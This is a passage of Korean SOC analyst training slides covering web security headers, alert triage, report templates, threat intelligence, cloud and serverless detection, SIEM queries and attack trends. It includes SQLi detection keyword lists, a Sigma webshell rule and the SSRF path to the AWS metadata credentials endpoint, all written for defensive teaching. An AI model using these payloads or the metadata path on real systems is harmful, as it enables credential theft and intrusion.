Zero TrustAssume Breach최소 권한

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨
계층이 바뀌면 보이는 로그와 보이지 않는 로그도 달라짐

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남
배포 직후·기능 출시 직후엔 예외와 정상 흐름을 먼저 수집

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?
이 주제에서 놓치기 쉬운 blind spot 한 가지를 적기

심화 F · 보안 아키텍처

웹 보안 헤더 — SOC가 확인해야 할 설정

보안 헤더는 공격 표면을 줄이는 소극적 방어지만, 없으면 SOC의 탐지 부담이 커진다.

필수 보안 헤더

Content-Security-Policy	XSS 방어
Strict-Transport-Security	HTTPS 강제
X-Frame-Options	Clickjacking 방어
X-Content-Type-Options	MIME 스니핑 방지
Referrer-Policy	정보 노출 제한

SOC 확인 포인트

CSP 없음 → XSS 성공 시 data 유출 용이
HSTS 없음 → 중간자 공격 가능
서버 버전 헤더 노출 → 공격 용이
헤더 부재 시 개발팀 권고 포인트

보강 설명웹 보안 헤더가 SOC 탐지 부담을 줄이는 방법입니다.

보안 헤더CSPHSTS

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX G

SOC 실무 운영 — 일상적 업무와 우선순위

알람 홍수 속에서 중요한 것을 먼저 보는 방법

⏱ 선택 심화 콘텐츠

보강 설명 알람 홍수 속에서 중요한 것을 먼저 보는 방법. 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

심화 G · SOC 운영

알람 우선순위 결정 — 무엇을 먼저 봐야 하는가

알람 개수가 많을수록, 먼저 볼 것을 빠르게 가려내는 능력이 더 중요해진다.

🔴 Critical — 즉시

WebShell 실행 확인
인증 성공 후 관리자 접근
데이터 대량 추출 징후
내부 측방 이동 흔적

🟡 High — 당일

SQLi/CMDi 반복 + 200 응답
Brute Force 대량 (성공 불명)
새로운 외부 IP의 관리자 접근
LFI + 민감 파일 경로

🔵 Medium — 일정 내

스캔 도구 탐지 (Nikto, dirbuster)
404 폭증 (경로 탐색)
WAF 차단만 된 SQLi/XSS

⚪ Low — 주간 리뷰

일반 스캔 봇 UA
단발성 오탐 가능 알람
반복 안 되는 단일 이벤트

보강 설명알람 우선순위 결정 기준을 이해합니다.

알람 우선순위CriticalHigh

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 G · SOC 운영

웹 알람 Triage 5단계

표준 흐름을 가지고 있으면 알람마다 처음부터 고민하지 않아도 된다.

① 알람 수신

유형, 소스, 심각도 확인 — 10초

② 초기 확인

decoded URI, 상태코드, 반복성, IP 리퓨테이션 — 30초

③ 자산 확인

서버 중요도, 공개 여부, 관리자 표면 — 60초

④ 영향 확인

app error, 프로세스 생성, 계정 성공 여부 — 90초

⑤ 판단/조치

정탐/오탐/보류 → 차단/격리/티켓/IR 에스컬레이션

💡 목표: 수신~초기 판단 5분 이내. Critical 알람은 즉시 팀 리더에게 보고.

보강 설명알람 수신부터 판단까지의 표준 Triage 프로세스입니다.

Triage5분 판단에스컬레이션

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향
Critical은 5분 안에 1차 판단·에스컬레이션 기준 정리

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리
다음 팀이 바로 행동할 수 있는 문장으로 기록

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증
정상 변경과 이상 징후를 함께 메모해야 오판 감소

심화 G · SOC 운영

웹 공격 분석 보고서 템플릿

좋은 보고서는 다음 팀이 즉시 행동할 수 있는 정보만 담는다.

📋 보고서 6섹션

요약: 1~2문장, 누가·무엇을·언제
타임라인: 시각+IP+행위+상태코드
기술 분석: 공격 유형, 근거 필드, payload
영향 평가: 성공 여부, 자산 중요도
추가 확인: 어떤 로그, 어떤 팀
권고 조치: 즉시/단기/장기

✅ 체크리스트

□ IP + 타임스탬프 + 엔드포인트 구체적
□ 공격 유형 + 근거 필드 명시
□ 오탐 가능성 언급
□ 추가 확인 대상 명확
□ 조치 우선순위 제시

❌ "의심스러운 활동이 탐지됨" → 쓸모없는 보고서

보강 설명분석 결과를 체계적으로 보고하는 템플릿입니다.

보고서템플릿Handoff

보고서에 꼭 넣을 것

누가·언제·어디를 공격했는지 1문장 요약
근거 필드(URI/status/bytes/UA)를 본문에 명시
즉시 조치와 추가 확인을 분리 작성

좋은 문장의 기준

단정 표현보다 “성공 가능성/추정 근거”를 함께 제시
오탐 가능성과 자산 중요도를 빠뜨리지 않기
다음 팀이 바로 움직일 수 있게 요청사항까지 포함

짧은 실습

현재 페이지 내용을 3문장 handoff로 다시 써 보기
IR/개발/WAF 운영 중 누구에게 보낼지 적기
추가로 필요한 로그 1가지를 꼭 덧붙이기

심화 G · SOC 운영

알람 피로도 (Alert Fatigue) 관리 전략

알람이 너무 많으면 진짜 위협을 놓친다 — 양보다 질의 문제다.

🚨 Alert Fatigue 발생 원인

임계치가 너무 낮은 룰
화이트리스트 없는 광범위 패턴
서비스 변경 후 룰 미업데이트
정상 배치 작업이 알람 유발
같은 IP의 반복 알람 묶음 없음

✅ 관리 전략

알람 묶음(grouping): 동일 IP 5분 내 1건
suppression: 알려진 정상 소스 제외
임계치 상향 + 상관 조건 추가
주간 오탐 리뷰 → 빠른 튜닝
Low 알람은 일간 다이제스트로 전환

⚠️ "알람 수를 줄이는 것"이 목표가 아니라 "의미 있는 알람 비율을 높이는 것"이 목표다

보강 설명알람 피로도를 관리하는 실무 전략입니다.

알람 피로Alert Fatigue억제

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 G · SOC 운영

SOC 분석가 역량 모델 — T자형 전문성

폭넓은 기초 지식 위에 특정 영역의 깊은 전문성을 쌓는 T자형 성장이 SOC에 잘 맞는다.

가로 축 — 폭넓은 기초

웹·네트워크·엔드포인트·클라우드 기초
공격 유형별 패턴 인식 (본 수업)
로그 분석 + FPCA 프레임
보고·커뮤니케이션 능력

세로 축 — 깊은 전문성

웹 취약점 심층 분석
탐지 엔지니어링 (SIEM 룰 설계)
디지털 포렌식 (메모리, 디스크)
위협 인텔리전스 (CTI)

💡 이번 모듈은 가로 축(웹 공격 패턴)을 넓히는 과정 — 수료 후 세로 축 하나를 선택해 깊이를 파 나가는 것을 권장한다

보강 설명SOC 분석가의 역량 모델을 이해합니다.

역량 모델T-shaped기술+프로세스

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향
Critical은 5분 안에 1차 판단·에스컬레이션 기준 정리

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리
다음 팀이 바로 행동할 수 있는 문장으로 기록

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증
정상 변경과 이상 징후를 함께 메모해야 오판 감소

심화 G · SOC 운영

SOC 분석가의 팀 간 협업 패턴

탐지는 SOC 혼자 완성할 수 없다 — 개발팀·인프라팀·IR팀과의 연결이 탐지 품질을 결정한다.

협업 시나리오별 담당 팀

새 기능 출시	개발팀 → SOC: 정상 패턴 공유
WAF 룰 변경	인프라팀 ↔ SOC: 오탐 영향 검토
침해 확인	SOC → IR팀: 에스컬레이션 + Handoff
계정 보호	SOC → IAM팀: MFA 강제, 세션 종료
취약점 발견	SOC → 개발팀: 패치 요청 티켓

💡 협업의 핵심은 공통 언어 — ATT&CK ID, 티켓 시스템, 에스컬레이션 정책을 미리 정해 두어야 한다

보강 설명SOC 분석가와 타 팀 간의 협업 패턴을 이해합니다.

팀 협업개발팀인프라팀

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향
Critical은 5분 안에 1차 판단·에스컬레이션 기준 정리

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리
다음 팀이 바로 행동할 수 있는 문장으로 기록

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증
정상 변경과 이상 징후를 함께 메모해야 오판 감소

심화 G · SOC 운영

SOC 분석가 지속 학습 로드맵

오늘 배운 내용을 발판으로 — 다음 단계는 어디인가.

🎯 단기 (3~6개월)

실습 데이터셋 반복 분석
SIEM 룰 직접 작성해보기
OWASP Top 10 심층 학습
CTF 웹 카테고리 (PortSwigger, HackTheBox)

📚 권장 자료

OWASP Web Security Testing Guide
MITRE ATT&CK Web Matrix
PortSwigger Web Security Academy

🚀 중기 (6~12개월)

탐지 엔지니어링 심화 (Sigma 룰)
SOAR 플레이북 직접 설계
위협 인텔리전스 소비/생산
자격증: CEH, CompTIA CySA+

🎓 장기 전문화

디지털 포렌식 (GCFE, GCFA)
침투테스트 (OSCP)
클라우드 보안 (AWS Security)

보강 설명SOC 분석가를 위한 지속 학습 로드맵입니다.

학습 로드맵자격증CTF

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

APPENDIX H

위협 인텔리전스와 웹 탐지 연동

IOC, TTP, 위협 행위자 정보를 웹 로그 분석에 활용하는 방법

⏱ 선택 심화 콘텐츠

보강 설명 IOC, TTP, 위협 행위자 정보를 웹 로그 분석에 활용하는 방법. 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

심화 H · 위협 인텔리전스

위협 인텔리전스 — 웹 탐지에서의 활용

알려진 공격자의 IOC와 TTP를 알면 탐지가 선제적이 된다.

📊 인텔리전스 유형

IOC: 악성 IP, 도메인, URL, 해시
웹 로그 src_ip, referer와 직접 매핑
TTP: 공격자가 쓰는 기법 패턴
ATT&CK 기반, 탐지 룰 설계에 활용
행위자 프로파일: 그룹 특성·표적
우선순위 판단에 활용

🔗 웹 로그 분석에서의 활용

블랙리스트 IP 피드 → src_ip 매핑
악성 UA 목록 → user_agent 매핑
알려진 WebShell URL 패턴 룰화
Shodan/Censys: 공격 IP 사전 조사

📌 IOC는 유효 기간이 짧다 — 최신 피드를 자동 갱신하지 않으면 오래된 정보로 오탐/미탐이 생긴다

보강 설명위협 인텔리전스를 웹 탐지에 활용하는 기본 개념입니다.

IOCTTPCTI

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 H · 위협 인텔리전스

IP 리퓨테이션 피드 — 웹 로그와 통합

알려진 악성 IP, Tor exit node, VPN 대역을 실시간으로 웹 로그와 매핑하면 맥락이 풍부해진다.

피드 종류와 용도

Tor exit nodes	익명화 시도 탐지
상용 VPN 대역	우회 접근 맥락
Shodan/OSINT	공격 인프라 식별
AbuseIPDB	신고 이력 조회
내부 블랙리스트	이전 공격 IP

⚠️ 활용 주의사항

Tor/VPN = 무조건 공격 아님 — 맥락 확인 필수
공유 IP(NAT, 기업망)는 오탐 가능
피드 갱신 주기 확인 (24h 이상 오래된 정보 주의)
단독 판단 근거보다 보강 증거로 활용

보강 설명IP 리퓨테이션 피드를 웹 탐지에 통합하는 방법입니다.

IP 리퓨테이션피드블랙리스트

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨
계층이 바뀌면 보이는 로그와 보이지 않는 로그도 달라짐

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남
배포 직후·기능 출시 직후엔 예외와 정상 흐름을 먼저 수집

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?
이 주제에서 놓치기 쉬운 blind spot 한 가지를 적기

심화 H · 위협 인텔리전스

공격 캠페인 TTP와 웹 로그 패턴 연결

알려진 공격 그룹의 TTPs를 알면 단순 패턴 매칭을 넘어 "누가 왜 공격하는지"를 말할 수 있다.

공격 그룹 TTP → 로그 연결 예시

특정 그룹: sqlmap 기반 SQLi + 이후 파일 업로드
→ UA 패턴 + 체인 순서가 일치하면 맥락 강화
WordPress 타겟 캠페인: /wp-admin, /xmlrpc.php 집중
→ 동일 경로 탐색 패턴이면 캠페인 일치 가능성

SOC 실무 활용 방법

주간 CTI 브리핑 → 활성 캠페인 TTP 파악
활성 캠페인 IOC → SIEM에 임시 룰 추가
발견 패턴 보고 시 CTI 맥락 함께 기술
"이 공격은 알려진 XXX 그룹의 TTP와 유사"

⚠️ 귀인(Attribution)은 어렵다 — 로그만으로 공격자를 특정하지 말고 "TTP가 유사하다"는 수준으로 표현한다

보강 설명알려진 공격 캠페인과 웹 로그 패턴을 연결하는 방법입니다.

공격 캠페인TTP 매핑그룹 식별

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

APPENDIX I

클라우드 환경의 웹 보안 차이점

온프레미스와 다른 클라우드 웹 공격 탐지의 핵심 포인트

⏱ 선택 심화 콘텐츠

보강 설명 온프레미스와 다른 클라우드 웹 공격 탐지의 핵심 포인트. 클라우드 환경은 전통적인 웹 취약점 위에 메타데이터, IAM, 서버리스, 컨테이너 같은 추가 공격 표면이 겹친다. 웹 로그만으로 끝나지 않는다.

IMDSCloudTrail컨테이너

핵심 포인트

SSRF가 IMDS·내부 서비스·사설 네트워크로 이어질 수 있다
클라우드 저장소, 함수 호출, 컨테이너 런타임은 별도 감사 로그가 필요하다
자격증명 탈취 이후의 API 호출 흔적이 실제 영향 판단의 핵심이다

추가 확인

CloudTrail/Audit Log, VPC Flow, IAM 사용 로그를 함께 수집
IMDSv2, 네트워크 차단, 최소 권한 설정 여부를 점검
컨테이너에서는 Pod/Namespace/ServiceAccount 맥락까지 연결

미니 실습

웹 SSRF가 클라우드 권한 탈취로 이어지는 체인을 그려 보기
온프레미스와 클라우드에서 동일한 공격을 볼 때 달라지는 로그 소스를 비교
클라우드 전용 탐지 항목을 3개 이상 적어 보기

심화 I · 클라우드 웹 보안

클라우드 환경 — 로그 소스의 차이

클라우드에서는 access.log 대신 ALB/CloudFront/WAF 로그가 주요 소스가 된다.

AWS 환경 웹 로그 소스

ALB Access Log	HTTP 요청 전반
CloudFront Log	CDN 엣지 요청
AWS WAF Log	룰 차단/허용
API Gateway Log	API 요청 추적
CloudTrail	AWS API 호출

⚠️ 탐지 관점 차이

CLB/ALB가 원본 IP를 X-Forwarded-For에 넣음
CloudFront 뒤에서는 엣지 IP가 src_ip
WAF 차단 → S3에 로그 저장 → 지연 발생
SSRF → EC2 메타데이터 → CloudTrail에서 확인

보강 설명클라우드 환경에서 웹 공격 탐지가 달라지는 이유입니다.

클라우드 로그ALBCloudFront

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 I · 클라우드 웹 보안

클라우드 SSRF — 메타데이터 탈취 경로

169.254.169.254로의 SSRF 성공은 클라우드 환경에서 IAM 역할 자격증명 탈취로 이어질 수 있다.

💥 공격 → 자격증명 탈취 경로

SSRF로 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 접근
IAM 역할 이름 획득
역할의 AccessKeyId, SecretKey, Token 획득
외부에서 AWS API 직접 호출 가능

🔎 탐지 + 방어

탐지: WAF에서 169.254.169.254 차단 룰
탐지: CloudTrail에서 비정상 지역/시간 API 호출
방어: IMDSv2 강제 (PUT 토큰 방식 요구)
방어: 인스턴스 프로파일 최소 권한

⚠️ IMDSv2가 설정되어 있으면 단순 GET으로는 메타데이터 접근 불가 — 인프라팀 확인 권고

보강 설명클라우드 환경에서 SSRF는 IAM 자격증명 탈취로 이어질 수 있습니다.

클라우드 SSRFIMDSv2IAM

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

심화 I · 클라우드 웹 보안

서버리스 / 컨테이너 환경 — 탐지 관점의 차이

서버리스와 컨테이너는 전통적인 호스트 로그가 없거나 구조가 다르다 — 탐지 방식을 조정해야 한다.

서버리스 (Lambda)

전통적 access.log 없음 → API Gateway 로그
함수 실행 로그: CloudWatch Logs
실행 시간 이상 → Time-Based 공격 탐지
권한 오용: CloudTrail IAM API 호출 감시

컨테이너 (K8s/ECS)

컨테이너별 로그 집계 필요 (Fluentd 등)
포드 간 측방 이동: 네트워크 정책 로그
WebShell → 컨테이너 내 프로세스 생성
컨테이너 이탈: 호스트 시스템 콜 모니터링

📌 환경이 달라져도 핵심은 같다 — 요청 입력, 실행 흔적, 네트워크 아웃바운드, 계정 행위의 4개 축을 연결한다

보강 설명서버리스/컨테이너 환경에서의 웹 공격 탐지 차이점입니다.

서버리스Lambda컨테이너

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX J

실전 SIEM 쿼리 예시

Splunk / Elasticsearch 기반 웹 공격 탐지 쿼리 패턴

⏱ 선택 심화 콘텐츠

보강 설명 Splunk / Elasticsearch 기반 웹 공격 탐지 쿼리 패턴. SIEM 관점에서는 원문 로그를 그대로 쌓는 것보다 디코딩·정규화·엔티티 매핑이 먼저다. 좋은 룰은 좋은 필드 설계에서 나온다.

SIEM정규화쿼리

핵심 포인트

decoded URI, src_ip, user_agent, status, bytes, response_time, asset_tag를 표준화
원문 보존과 정규화 필드를 함께 유지해야 재분석이 가능
단일 룰보다 여러 약한 신호를 상관하는 방식이 운영 효율이 좋다

추가 확인

로그 파서가 인코딩과 프록시 헤더를 정확히 해석하는지 검증
룰 임계값은 자산 유형과 트래픽 특성에 따라 분리
탐지 이후 후속 조회용 링크와 플레이북 입력값을 같이 설계

실무 예시

한 공격에 대해 수집 필드→정규화 필드→탐지 조건→출력 메시지를 써 보기
Recall과 Precision을 동시에 관리하는 방법을 적기
룰 품질을 평가할 운영 지표를 3개 정리하기

심화 J · SIEM 쿼리

Splunk SPL — SQLi 탐지 쿼리 패턴

Splunk SPL로 SQLi 의심 요청을 집계하고 상관분석하는 쿼리 구조를 이해한다.

기본 SQLi 키워드 탐지

index=web_logs sourcetype=access_combined
| eval decoded_uri=urldecode(uri)
| search decoded_uri IN ("*UNION*SELECT*","*OR 1=1*","*SLEEP(*","*information_schema*")
| stats count by src_ip, uri, status
| sort -count

상관 룰: 반복 + 상태코드 혼합

index=web_logs sourcetype=access_combined
| eval decoded_uri=urldecode(uri)
| search decoded_uri="*UNION*" OR decoded_uri="*SLEEP(*"
| stats count, values(status) as statuses by src_ip, _time span=5m
| where count > 10 AND (mvfind(statuses,"200") >= 0 AND mvfind(statuses,"500") >= 0)
| eval alert="SQLi Medium"

보강 설명Splunk 기반 SQLi 탐지 쿼리 예시입니다.

SplunkSPLSQLi 쿼리

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 J · SIEM 쿼리

Elasticsearch KQL — Brute Force 탐지 쿼리

KQL과 집계를 이용해 Brute Force와 성공 전환을 탐지하는 쿼리 구조다.

401 반복 탐지 (Aggregation)

GET web_logs/_search
{
  "query": { "bool": { "must": [
    { "term": { "request.path": "/login" }},
    { "term": { "response.status": 401 }},
    { "range": { "@timestamp": { "gte": "now-10m" }}}
  ]}},
  "aggs": { "by_ip": { "terms": { "field": "client.ip", "min_doc_count": 20 }}}
}

💡 Kibana SIEM/Detection Engine의 threshold rule: 동일 IP, /login, 401, 10분 내 20회 초과 → 알람 생성 가능

보강 설명Elasticsearch/OpenSearch 기반 Brute Force 탐지 쿼리입니다.

ElasticsearchKQLBrute Force 쿼리

대표 신호

401 반복 뒤 302/200 1회는 성공 후보로 즉시 재검토
단일 계정 집중=Brute Force, 다중 계정 분산=Stuffing/Spraying

추가 확인

MFA 로그·세션 재발급·새 기기/새 국가 로그인 여부 확인
성공 뒤 관리자 메뉴·비밀번호 변경·권한 변경이 있는지 확인

실습 예시

계정 축과 IP 축 두 개의 집계 표를 동시에 그려 보기
Password Spraying은 6시간 창으로 넓게 보며 탐지하기

심화 J · SIEM 쿼리

Sigma 룰 — 플랫폼 독립적 탐지

Sigma 포맷으로 룰을 작성하면 Splunk, Elasticsearch, QRadar 등 다양한 SIEM에 변환 가능하다.

WebShell 체인 Sigma 룰 예시

title: WebShell Upload and Execution Chain
status: experimental
logsource: { category: webserver }
detection:
  upload:
    cs-method: POST
    cs-uri-stem|contains: '/upload'
    cs-uri-query|re: '\.(php|asp|jsp|phtml)'
    sc-status: 200
  execution|timeframe: 10m after upload:
    cs-method: GET
    cs-uri-query|contains: 'cmd='
  condition: upload and execution
level: critical

💡 Sigma는 오픈소스 — 커뮤니티 룰 저장소(github.com/SigmaHQ/sigma)에서 검증된 룰을 가져다 쓸 수 있다

보강 설명Sigma 룰을 이용한 플랫폼 독립적 탐지 규칙 작성입니다.

Sigma탐지 룰플랫폼 독립

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX K

웹 공격 트렌드 — 변화하는 위협

API 공격, AI 활용 공격, 공급망 공격 — 탐지의 다음 도전

⏱ 선택 심화 콘텐츠

보강 설명 API 공격, AI 활용 공격, 공급망 공격 — 탐지의 다음 도전. API는 웹 공격의 새로운 주 표면이다. Path보다 객체 ID, 토큰, 응답 데이터 구조, 대량 호출 패턴을 읽는 감각이 중요하다.

REST APIGraphQLBOLA

핵심 포인트

BOLA/BOPLA처럼 객체 식별자와 속성 노출이 핵심 위험이 된다
GraphQL은 body 내부 질의와 depth/complexity를 같이 봐야 한다
API Gateway, App, Auth 로그를 함께 봐야 전체 맥락이 보인다

추가 확인

정상 모바일 앱/프론트 호출 패턴과 공격 스크립트 패턴을 구분
JWT·세션·API 키 재사용 여부와 출처 IP 분산을 확인
응답 바이트 급증이나 민감 필드 노출은 App 로그로 보강

미니 실습

순차 객체 조회를 BOLA로 판단하는 기준을 정리해 보기
GraphQL body에서 __schema와 대량 중첩을 찾는 쿼리 조건을 써 보기
API 공격에서 기존 access.log만으로 부족한 이유를 설명하기

심화 K · 트렌드

API 보안 — 웹 공격의 새로운 전선

REST API, GraphQL, WebSocket이 공격 표면의 중심이 되고 있다 — OWASP API Top 10이 중요해진다.

OWASP API Top 10 주요 항목

API1: Broken Object Level Authorization
/api/user/123 → /api/user/124 접근
API3: Broken Object Property Authorization
응답에 숨겨진 민감 필드 노출
API4: Unrestricted Resource Consumption
Rate Limit 없는 API 남용

SOC 탐지 관점

객체 ID 순차 증가 시도 (BOLA)
API 엔드포인트 무작위 탐색
비정상적 대량 응답 크기
인증 없이 /api/ 경로 직접 접근

📌 API 로그는 기존 access.log 구조와 다를 수 있다 — API Gateway 전용 로그 수집 체계가 필요하다

보강 설명API 보안이 웹 공격의 새로운 전선이 되고 있습니다.

API 보안OWASP API인증 우회

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 K · 트렌드

AI 활용 공격 — 탐지의 새로운 도전

AI가 공격 자동화를 가속하고, LLM 기반 애플리케이션이 새로운 취약점을 만든다.

🤖 AI 활용 공격 변화

AI 기반 페이로드 자동 변형 → 시그니처 우회 강화
LLM으로 맞춤형 피싱·소셜엔지니어링
취약점 자동 탐색 속도 증가
자동화 스캔의 더 "인간다운" UA 패턴

⚠️ LLM 애플리케이션 취약점

Prompt Injection: 입력에 지시문 삽입
Indirect Injection: 외부 콘텐츠로 LLM 조작
Training Data Exfil: 모델 데이터 추출 시도
기존 SQLi/XSS와 유사한 탐지 접근 가능

📌 AI 공격 탐지도 결국 로그에 흔적이 남는다 — 행위 패턴과 이상 탐지 접근이 더 중요해진다

보강 설명AI와 자동화가 웹 공격 방식을 변화시키고 있습니다.

AI 공격자동화LLM

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 K · 트렌드

공급망 공격 — 웹 보안의 사각지대

